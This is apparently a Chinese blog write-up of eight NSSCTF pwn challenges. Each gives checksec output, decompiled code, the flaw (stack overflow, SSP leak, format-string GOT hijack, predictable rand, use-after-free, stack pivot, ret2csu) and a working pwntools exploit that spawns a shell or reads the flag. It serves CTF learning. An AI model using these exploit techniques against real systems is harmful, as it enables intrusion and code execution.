近期NSSCTF刷题WP(一)

本文最后更新于:2023年4月16日 下午

easyecho

本题选自 2021 鹤城杯,题目描述为Ubuntu16。题目链接:easyecho | NSSCTF

checksec:

1
2
3
4
5
6
7
8
ubuntu@ubuntu:~/Desktop$ checksec easyecho
[*] '/home/ubuntu/Desktop/easyecho'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
bool v3; // zf
__int64 v4; // rcx
char *v5; // rsi
const char *v6; // rdi
char v8[16]; // [rsp+0h] [rbp-A8h] BYREF
__int64 (__fastcall *v9)(); // [rsp+10h] [rbp-98h]
char v10[104]; // [rsp+20h] [rbp-88h] BYREF
unsigned __int64 v11; // [rsp+88h] [rbp-20h]

v11 = __readfsqword(0x28u);
sub_DA0(a1, a2, a3);
sub_F40();
v9 = sub_CF0;
puts("Hi~ This is a very easy echo server.");
puts("Please give me your name~");
_printf_chk(1LL, "Name: ");
sub_E40(v8);
_printf_chk(1LL, "Welcome %s into the server!\n", v8);
do
{
while ( 1 )
{
_printf_chk(1LL, "Input: ");
gets(v10);
_printf_chk(1LL, "Output: %s\n\n", v10);
v4 = 9LL;
v5 = v10;
v6 = "backdoor";
do
{
if ( !v4 )
break;
v3 = *v5++ == *v6++;
--v4;
}
while ( v3 );
if ( !v3 )
break;
(v9)(v6, v5);
}
}
while ( strcmp(v10, "exitexit") );
puts("See you next time~");
return 0LL;
} // main

sub_DA0函数做了缓冲区的setvbuf和alarm反调试,sub_F40函数是UI菜单图标字符画。

在第26行gets(v10)有一个明显可行的栈溢出漏洞,由于有canary和pie,我们暂时很难确定应该怎么获得这两个或应该获得哪一个。

31到38行是一个检测输入字符串是否与”backdoor”字符串相同的小检测。如果是,便执行sub_CF0函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
unsigned __int64 __fastcall sub_E40(char *buf, __int64 a2)
{
ssize_t v4; // rax
int v5; // eax
unsigned __int64 v7; // [rsp+8h] [rbp-20h]

v7 = __readfsqword(0x28u);
while ( a2 )
{
v4 = read(0, buf, 1uLL);
if ( !v4 )
break;
if ( v4 == -1 )
{
v5 = *_errno_location();
if ( v5 != 11 && v5 != 4 )
return __readfsqword(0x28u) ^ v7;
}
else
{
if ( *buf == 10 )
{
*buf = 0;
return __readfsqword(0x28u) ^ v7;
}
++buf;
}
--a2;
}
return __readfsqword(0x28u) ^ v7;
} // sub_E40

sub_E40函数是一个关于输入的保护,在此不细分析。读者若未来会参与出题可自行研究这段内容。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
int sub_CF0()
{
__int64 v0; // rax
int v1; // ebx
unsigned __int64 v3; // [rsp+8h] [rbp-10h]

v3 = __readfsqword(0x28u);
if ( unk_2020A0 )
{
return __readfsqword(0x28u) ^ v3;
}
else
{
unk_2020A0 = 1;
v1 = open("./flag", 0);
if ( v1 < 0 )
perror("open");
read(v1, &unk_202040, 0x50uLL);
LODWORD(v0) = close(v1);
}
return v0;
} // sub_CF0

sub_CF0函数很明显是读入flag文件并将其放到0x202040上。

相对来说就很明朗了,考点是Stack Smashing Detected,第一次输入泄漏PIE基址,再次输入”backdoor”去调用一次sub_CF0,然后修改__libc_argv[0]指向0x202040,最后利用SSP去get flag(没有get shell和cat flag过程了)。

修改__libc_argv[0]的指向位置的方法就是在调试中先输入p & __libc_argv[0]去获得到argv[0]的位置,然后在Input:的后方的输入处断,得到输入处与argv[0]的距离,计算可以使用指令distance (input_addr) (argv[0]_addr),本题可以得到偏移为0x168。

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
context.log_level = 'debug'
io = process('./easyecho')
io.sendline(b'a' * 0x10)
io.recvuntil(b'a' * 0x10)
pie = u64(io.recv(6).ljust(8, b'\x00'))
sleep(0.1)
io.sendlineafter(b"Input:", b'backdoor')
sleep(0.1)
io.sendlineafter(b'Input:', b'a' * 0x168 + p64(0x202040 + pie - 0xcf0))
sleep(0.1)
io.sendlineafter(b'Input:', b'exitexit')
io.interactive()

注:pie - 0xcf0为求PIE基址,pie recv部分求得是PIE + offset = real_addr。offset仅占用十六进制后三位,PIE占用其他位,类似于glibc调用方法。

Voting Machine 2

本题选自 watervrCTF 2019,题目描述为In a world with many uncertainties we need some kind of structure. Democracy is a big part of that, therefore we need voting machines! Well, at least if they are safe...Ubuntu18。题目链接:Voting Machine 2 | NSSCTF

checksec:

注:我将文件名修改为了VM,为了方便我自己进行修改、输入与调试。

1
2
3
4
5
6
7
ubuntu@ubuntu:~/Desktop$ checksec VM
[*] '/home/ubuntu/Desktop/VM'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
double v3; // [esp-1Eh] [ebp-58h]
char format[50]; // [esp+0h] [ebp-3Ah] BYREF
int *p_argc; // [esp+32h] [ebp-8h]

p_argc = &argc;
signal(14, exit_f);
LODWORD(v3) = 5;
isnan(v3);
puts("Hello and welcome to \x1B[3mour\x1B[23m voting application!");
puts("We noticed that there occured a slight buffer overflow in the previous version.");
puts("Now we never return, so the problem should be solved? Right?");
puts("Today you are the one who decides what we will vote about.\n");
printf("Topic: ");
fflush(stdin);
fflush(stdout);
__isoc99_scanf("%[^\n]%*c", format);
printf(format);
puts("\nWill be the voting topic of today!");
exit(0);
} // main

本题我提前将alarm函数改为了isnan,这是一种绕过反调试的方法,但偶尔可能不是这样用的,所以遇到alarm函数应该思考其是否是一种反调试手段。

__isoc99_scanf("%[^\n]%*c", format);是一种读入字符串并排除了句尾’\n’的一种输入字符串方式,使用C语言编程的小伙伴可以学习一下这种写法。

很明显一个格式化字符串漏洞,由于没有其他内容了,如栈溢出等,其利用方法便仅有GOT劫持。GOT劫持就是修改GOT表中某一项的值,使PLT表在调用其对应的GOT表的时候跳转到被我们劫持后的地址。也就是我们其实需要修改的是执行格式化字符串漏洞之后的函数。

GOT表劫持我们一般会使用pwntools中的工具fmtstr_payload,这个函数的原型为fmtstr_payload(offset, {func_got : func0_addr , func1_got : func2_addr}, numbwritten = 0, write_size = 'byte'),offset为接下来准备测出的偏移,第二个参数为准备修改的函数的got表及其对应的希望劫持到的函数地址,numbwritten为已经输入的字符,默认为0,write_size为输入字节数,默认为byte字节型,这里还有short双字节和int四字节共三种选择。

第一次直接输入AAAA.%p.%p.%p.%p.%p.%p.%p.%p去测一下输入的偏移。AAAA.0xffffd02e.(nil).0x8420812.0xa.0xffffd2ef.0xf7e0f679.0x4141a808.0x252e4141咦?这不对吧?怎么没对齐?欸,此言差矣,这要是前面再多输入两个字符,后面少看两个字符,不就相当于形成了偏移为8的格式化字符串漏洞了吗,顺便迎合了接下来的fmtstr_payload的numbwritten考点。

那么EXP也直接端上来罢(急迫):

1
2
3
4
5
6
7
8
from pwn import *

context.log_level = 'debug'
io = process('./VM')
elf = ELF('./VM')
io.sendline(b'aa' + fmtstr_payload(8, {elf.got['exit']:elf.sym['super_secret_function']}, numbwritten = 2))

io.interactive()

ez_pwn

本题选自 HUBUCTF 2022 新生赛,无题目描述。题目链接:ez_pwn | NSSCTF

checksec:

1
2
3
4
5
6
7
ubuntu@ubuntu:~/Desktop$ checksec ez_pwn
[*] '/home/ubuntu/Desktop/ez_pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+4h] [rbp-8Ch] BYREF
int i; // [rsp+8h] [rbp-88h]
int v6; // [rsp+Ch] [rbp-84h]
unsigned int seed[2]; // [rsp+10h] [rbp-80h]
FILE *stream; // [rsp+18h] [rbp-78h]
char v9[32]; // [rsp+20h] [rbp-70h] BYREF
char s[8]; // [rsp+40h] [rbp-50h] BYREF
__int64 v11; // [rsp+48h] [rbp-48h]
__int64 v12; // [rsp+50h] [rbp-40h]
__int64 v13; // [rsp+58h] [rbp-38h]
__int64 v14; // [rsp+60h] [rbp-30h]
__int64 v15; // [rsp+68h] [rbp-28h]
__int64 v16; // [rsp+70h] [rbp-20h]
__int64 v17; // [rsp+78h] [rbp-18h]
unsigned __int64 v18; // [rsp+88h] [rbp-8h]

v18 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
*(_QWORD *)seed = time(0LL);
*(_QWORD *)s = 0LL;
v11 = 0LL;
v12 = 0LL;
v13 = 0LL;
v14 = 0LL;
v15 = 0LL;
v16 = 0LL;
v17 = 0LL;
puts("Who goes there?");
gets(v9);
printf("Welcome to my challenge, %s. No one has ever succeeded before. Will you be the first?\n", v9);
srand(seed[0]);
for ( i = 0; i <= 99; ++i )
{
v6 = rand() % 100000 + 1;
puts("I am thinking of a number from 1-100000. What is it?");
__isoc99_scanf("%d", &v4);
if ( v6 != v4 )
{
puts("You have failed. Goodbye.");
return 0;
}
puts("Impressive.");
}
puts("You've guessed all of my numbers. Here is your reward.");
stream = fopen("flag.txt", "r");
if ( stream )
{
fgets(s, 50, stream);
puts(s);
}
puts("Goodbye.");
return 0;
} // main

我记得libc版本是不影响随机数生成的,seed取值只能是time(0),种子随机,不能覆盖。v9的输入对任何内容都影响不了。

于是本题只能是使用利用相同time(0)拟相同取次数随机数并输入的方法。

需要利用的是ctypes库中的cdll包中的LoadLibrary函数去获取某位置的libc并利用srand和rand获取每次输入的值。

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
from ctypes import *

io = process('./ez_pwn')

libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')

io.sendlineafter(b'there?\n', b'Nsus')

srand = libc.srand(libc.time(0))
for i in range(100):
io.sendlineafter(b'it?\n', str(libc.rand() % 100000 + 1).encode())

io.interactive()

注:libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')一句是使用本机libc作为exp使用libc。

easystack

本题来源于 UUCTF 2022 新生赛,题目描述为“也许你的exp是对的呢?”。题目链接:easystack | NSSCTF

checksec:

1
2
3
4
5
6
7
ubuntu@ubuntu:~/Desktop$ checksec easystack
[*] '/home/ubuntu/Desktop/easystack'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled

main函数基本没什么用,一个setvbuf和fflush管缓冲区。

1
2
3
4
5
6
7
8
9
int vuln()
{
char buf[256]; // [rsp+0h] [rbp-100h] BYREF

puts("I am back! Can you beat me this time?\n");
puts("What's your name?");
read(0, buf, 0x10AuLL);
return printf("Hello, %s\n", buf);
} // vuln

因为输入字节不是很够,其实就很明显是栈溢出再加不知名pie看运气自行通了,不是很难,但这个脚本编写还是很有意思的,有Python编程想法的小伙伴可以尝试着学一下

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

def exp():
io.sendline(b'a' * 0x108 + p16(0x196)) #可以为0x0196+x*0x100 (0<=x<=0xF)
io.interactive()

while(1):
try:
io = remote('', )
exp()
except:
io.close()

虽然不知道为什么在本机通不了,但在靶机上过了就行。

Oil Spill

本题来自 SDCTF 2022,题目描述为This program will predict your future!Ubuntu 18.04。题目链接:Oil Spill | NSSCTF

checksec:

注:我将文件名修改为了OSP,为了方便我自己进行修改、输入与调试。

1
2
3
4
5
6
7
ubuntu@ubuntu:~/Desktop$ checksec OSP
[*] '/home/ubuntu/Desktop/OSP'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[312]; // [rsp+10h] [rbp-140h] BYREF
unsigned __int64 v5; // [rsp+148h] [rbp-8h]

v5 = __readfsqword(0x28u);
printf("%p, %p, %p, %p\n", &puts, &printf, s, temp);
puts("Oh no! We spilled oil everywhere and its making everything dirty");
puts("do you have any ideas of what we can use to clean it?");
fflush(stdout);
fgets(s, 300, stdin);
printf(s);
puts(x);
fflush(stdout);
return 0;
} // main

还是GOT劫持,顺便多了一个libc泄漏,给出了&puts其实就已经很够用了。

因为本机使用的就是Ubuntu18.04,所以没再使用LibcSearcher,使用其实区别不大。用LibcSearcher和ret2libc3差不多,用dump dump出来。

这道题因为覆盖的内容更多,所以需要为fmtstr_payload提供文件的环境,如context.binary='./OSP'让工具自行选择,或context(os = 'linux', arch = 'amd64')

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *

context.log_level = 'debug'
context.binary = './OSP'
io = process('./OSP')
elf = ELF('./OSP', False)

io.recvuntil(b'0x')
puts_addr = int(io.recv(12), 16)
print(hex(puts_addr))
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc_base = puts_addr - libc.sym['puts']
sys_addr = libc_base + libc.sym['system']
bsh_addr = libc_base + libc.search(b'/bin/sh\x00').__next__()

fmtstrstr = fmtstr_payload(8, {elf.got['puts']:sys_addr, 0x600C80:b'/bin/sh\x00'})
io.sendlineafter(b'it?\n', fmtstrstr)
io.interactive()

YDSneedGirlfriend

本题选自 BJDCTF 2020,题目描述为“Ubuntu16”。题目链接:YDSneedGirlfriend | NSSCTF

checksec:

注:我将文件名修改为了gf,为了方便我自己进行修改、输入与调试。

1
2
3
4
5
6
7
ubuntu@ubuntu:~/Desktop$ checksec gf
[*] '/home/ubuntu/Desktop/gf'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // eax
char buf[8]; // [rsp+0h] [rbp-10h] BYREF
unsigned __int64 v5; // [rsp+8h] [rbp-8h]

v5 = __readfsqword(0x28u);
myinit(argc, argv, envp);
while ( 1 )
{
while ( 1 )
{
menu();
read(0, buf, 4uLL);
v3 = atoi(buf);
if ( v3 != 2 )
break;
del_girlfriend();
}
if ( v3 > 2 )
{
if ( v3 == 3 )
{
print_girlfriend();
}
else
{
if ( v3 == 4 )
exit(0);
LABEL_13:
puts("Invalid choice");
}
}
else
{
if ( v3 != 1 )
goto LABEL_13;
add_girlfriend();
}
}
} // main
1
2
3
4
5
6
7
8
9
10
int menu()
{
puts("------------------------");
puts(" 1. Add a girlfriend ");
puts(" 2. Delete a girlfriend ");
puts(" 3. show her name ");
puts(" 4. give up ");
puts("------------------------");
return printf("Your choice :");
} // menu
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
unsigned __int64 add_girlfriend()
{
__int64 v0; // rbx
int i; // [rsp+8h] [rbp-28h]
int v3; // [rsp+Ch] [rbp-24h]
char buf[8]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v5; // [rsp+18h] [rbp-18h]

v5 = __readfsqword(0x28u);
if ( count <= 10 )
{
for ( i = 0; i <= 9; ++i )
{
if ( !*(&girlfriendlist + i) )
{
*(&girlfriendlist + i) = malloc(0x10uLL);
if ( !*(&girlfriendlist + i) )
{
puts("Alloca Error");
exit(-1);
}
**(&girlfriendlist + i) = print_girlfriend_name;
// 先申请一个0x10去存print name函数
printf("Her name size is :");
read(0, buf, 8uLL);
v3 = atoi(buf);
v0 = *(&girlfriendlist + i);
*(v0 + 8) = malloc(v3);
// 再申请去存数据
if ( !*(*(&girlfriendlist + i) + 1) )
{
puts("Alloca Error");
exit(-1);
}
printf("Her name is :");
read(0, *(*(&girlfriendlist + i) + 1), v3);
puts("Success !Wow YDS get a girlfriend!");
++count;
return __readfsqword(0x28u) ^ v5;
}
}
}
else
{
puts("Full");
}
return __readfsqword(0x28u) ^ v5;
} // add_girlfriend
1
2
3
4
int __fastcall print_girlfriend_name(__int64 a1)
{
return puts(*(a1 + 8));
} // print_girlfriend_name
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
unsigned __int64 del_girlfriend()
{
int v1; // [rsp+Ch] [rbp-14h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("Index :");
read(0, buf, 4uLL);
v1 = atoi(buf);
if ( v1 >= 0 && v1 < count )
{
if ( *(&girlfriendlist + v1) )
{
free(*(*(&girlfriendlist + v1) + 1));
// free掉存数据chunk
free(*(&girlfriendlist + v1));
// free掉存print name函数的chunk
puts("Success");
}
}
else
{
puts("Out of bound!");
}
return __readfsqword(0x28u) ^ v3;
} // del_girlfriend

del这里其实很明显free后没赋nullptr,导致指针指向地址处若被另外分配则未赋nullptr指针也可调用该内容。这是一个很标准的UAF(Use After Free)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
unsigned __int64 print_girlfriend()
{
int v1; // [rsp+Ch] [rbp-14h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("Index :");
read(0, buf, 4uLL);
v1 = atoi(buf);
if ( v1 >= 0 && v1 < count )
{
if ( *(&girlfriendlist + v1) )
(**(&girlfriendlist + v1))(*(&girlfriendlist + v1));
} // 正常为print name函数的位置不为空就用print name函数去打印存入的数据
else
{
puts("Out of bound!");
}
return __readfsqword(0x28u) ^ v3;
} // print_girlfriend

有一个函数叫“backdoor”,其地址起始于0x400B9C,这是我们最终需要ret2的位置,因为这里可以getshell。

思路前面也提到了是UAF,也不过就是覆盖print_girlfriend_name为backdoor地址,然后在调用时候就跳转过去了。有的师傅写的有double free但是也没构造出来,如果有人成功了请联系我。

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *

context.log_level = 'debug'
io = process('./gf')
elf = ELF('./gf')
def duan():
gdb.attach(io)
pause()

def add(size, name = b'0xdeadbeef'):
io.sendlineafter(b'choice :', b'1')
io.sendlineafter(b'is :', size)
io.sendlineafter(b'is :', name)

def free(index):
io.sendlineafter(b'choice :', b'2')
io.sendlineafter(b'Index :', index)

def show(index):
io.sendlineafter(b'choice', b'3')
io.sendlineafter(b'Index :', index)

#duan()
add(b'32')
add(b'32')
free(b'0')
free(b'1')

add(b'16', p64(elf.sym['backdoor']))
show(b'0')

io.interactive()

加个断点自行调试理解其中内容。堆的内容还是需要大家多多自行调试观察执行去理解,不能纯靠理论。毕竟是实践出真知。

pivot

本题选自HNCTF 2022 WEEK2,题目描述为“栈迁移(试试看了什么保护)”。题目链接:pivot | NSSCTF

checksec:

1
2
3
4
5
6
7
ubuntu@ubuntu:~/Desktop$ checksec pivot
[*] '/home/ubuntu/Desktop/pivot'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[40]; // [rsp+0h] [rbp-30h] BYREF
unsigned __int64 v5; // [rsp+28h] [rbp-8h]

v5 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stderr, 0LL);
setbuf(stdout, 0LL);
puts("Name:");
read(0, buf, 0x98uLL);
printf("Hello, %s\n", buf);
vuln();
return puts("Over");
} // main
1
2
3
4
5
6
7
8
9
int vuln()
{
char buf[264]; // [rsp+0h] [rbp-110h] BYREF
unsigned __int64 v2; // [rsp+108h] [rbp-8h]

v2 = __readfsqword(0x28u);
read(0, buf, 0x120uLL);
return puts("G00DBYE.");
} // vuln

其实从可以进行第二次溢出但空间不够一点上就可以看出第一次输入为了得到canary,第二次为了满足栈迁移,然后泄露函数地址,返回到函数开头后,再利用栈溢出getshell。最终再ret2libc,记得堆栈平衡。

由于附件提供了libc.so.6便很好办了,记得引用上。

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *

context.log_level = 'debug'
io = process('./pivot')
libc = ELF('./libc.so.6', False)

pop_rdi = 0x401343
ret = 0x40101a
leave_ret = 0x401213
# 泄露canary
io.sendlineafter(b'Name:\n', b'a' * 40)
io.recvuntil(b'a' * 40)
canary = u64(io.recv(8)) - 0xa
print(hex(canary))
io.sendafter(b'\n', b'a' * 264 + p64(canary) + b'a' * 8 + p64(0x4010D0))
# libc_base
io.sendafter(b"Name:\n", b'a' * 0x38)
__libc_start_call_main = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))-128
print ("__libc_start_call_main=",hex(__libc_start_call_main))
libc_base=__libc_start_call_main-0x29d10
print ("libc_base=",hex(libc_base))
sys=libc_base+libc.sym['system']
binsh=libc_base+next(libc.search(b"/bin/sh\x00"))
print ("sys=",hex(sys))
payload=b'a'*0x108+p64(canary)+b'a'*8+p64(0x4010D0)
io.send(payload)
# rop链构造
io.recvuntil('Name:\n')
payload='a'*0x58
io.send(payload)
io.recvuntil(payload)
stack=u64(io.recv(6).ljust(8,b'\x00'))
print("stack=",hex(stack))
buf=stack-0x268
print("buf_addr=",hex(buf))
payload=b'a'*8+p64(ret)+p64(pop_rdi)+p64(binsh)+p64(sys)
payload=payload.ljust(0x108,b'a')
payload+=p64(canary)+p64(buf)+p64(leave_ret)
io.sendline(payload)
io.interactive()

ret2csu

本题选自 HNCTF 2022 WEEK2,题目描述为ret2csu hint:试试用__libc_csu_init函数里的gadget来控制寄存器和程序执行流。题目链接:ret2csu | NSSCTF

checksec:

1
2
3
4
5
6
7
ubuntu@ubuntu:~/Desktop$ checksec ret2csu
[*] '/home/ubuntu/Desktop/ret2csu'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
.text:0000000000401290                               loc_401290:                             ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000401290 4C 89 F2 mov rdx, r14
.text:0000000000401293 4C 89 EE mov rsi, r13
.text:0000000000401296 44 89 E7 mov edi, r12d
.text:0000000000401299 41 FF 14 DF call ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8]
.text:0000000000401299
.text:000000000040129D 48 83 C3 01 add rbx, 1
.text:00000000004012A1 48 39 DD cmp rbp, rbx
.text:00000000004012A4 75 EA jnz short loc_401290
.text:00000000004012A4
.text:00000000004012A6
.text:00000000004012A6 loc_4012A6: ; CODE XREF: __libc_csu_init+35↑j
.text:00000000004012A6 48 83 C4 08 add rsp, 8
.text:00000000004012AA 5B pop rbx
.text:00000000004012AB 5D pop rbp
.text:00000000004012AC 41 5C pop r12
.text:00000000004012AE 41 5D pop r13
.text:00000000004012B0 41 5E pop r14
.text:00000000004012B2 41 5F pop r15
.text:00000000004012B4 C3 retn
.text:00000000004012B4 ; } // starts at 401250
// __libc_csu_init汇编片段

其中其实就是很标准的ret2csu类型题的做法了,但这道题的控制rdx、rsi、edi处与之前做的其他题顺序是反的导致做题当时很疑惑还卡了一会。这种题都是有一个很一致的EXP模板,抄一下其实就够用了,注意一下front中的内容就可以了。

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *
from LibcSearcher import *

context.log_level = 'debug'
#io = process('./ret2csu')
io = remote('43.143.7.97', 28867)
elf = ELF('./ret2csu')
bss_base = elf.bss()
csu_front_addr = 0x0000000000401290
csu_end_addr = 0x00000000004012AA
fakeebp = b'b' * 8
prdir = 0x4012b3
ret = 0x40101a
# csu
def csu(rbx, rbp, r12, r13, r14, r15, last):
# pop rbx,rbp,r12,r13,r14,r15
# rbx should be 0,
# rbp should be 1,enable not to jump
# r12 should be the function we want to call
# rdi=edi=r12d
# rsi=r13
# rdx=r14
payload = b'a' * 0x100 + fakeebp # offset + 任意bp
payload += p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12)
payload += p64(r13) + p64(r14) + p64(r15)
# ret2 end部分去把rbx rbp r12 r13 r14 r15寄存器附上值
payload += p64(csu_front_addr)
# ret2 front部分用r14 r13 r12d给rdx rsi edi赋值
payload += b'a' * 0x38
# 到end部分重新pop,但不影响
payload += p64(last)
# 占用retn,回到需要回到的地方
io.send(payload)
sleep(1)

io.recvuntil(b'Input:\n')
csu(0, 1, 1, elf.got['write'], 8, elf.got['write'], elf.sym['vuln'])
# 泄露libc,ret2libc3,一定要执行的是got表中的内容,打印的也是got表中的内容
# 如果是mov rdx, r12; mov rsi, r13; mov edi, r14d那种,应该是写成
# csu(0, 1, elf.got['write'], 8, elf.got['write'], 1, elf.sym['vuln']),下同
io.recvuntil(b"Ok.\n")
write_addr = u64(io.recv(6).ljust(8, b'\x00'))
libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')
sys_addr = libc_base + libc.dump('system')
bsh_addr = libc_base + libc.dump('str_bin_sh')
print(hex(sys_addr), hex(bsh_addr))
# io.recvuntil('Input:\n')
# csu(0, 1, 0, bsh_addr, 0, execve_addr, p64(0xdeadbeef))
# 也可以像ctf-wiki上一样做,在bss上存再在bss上操
io.sendlineafter(b"Input:\n", b'a' * 0x108 + p64(ret) + p64(prdir) + p64(bsh_addr) + p64(sys_addr))

io.interactive()

近期NSSCTF刷题WP(一)
http://example.com/2023/04/06/近期NSSCTF刷题WP(一)/
作者
OSLike
发布于
2023年4月6日
许可协议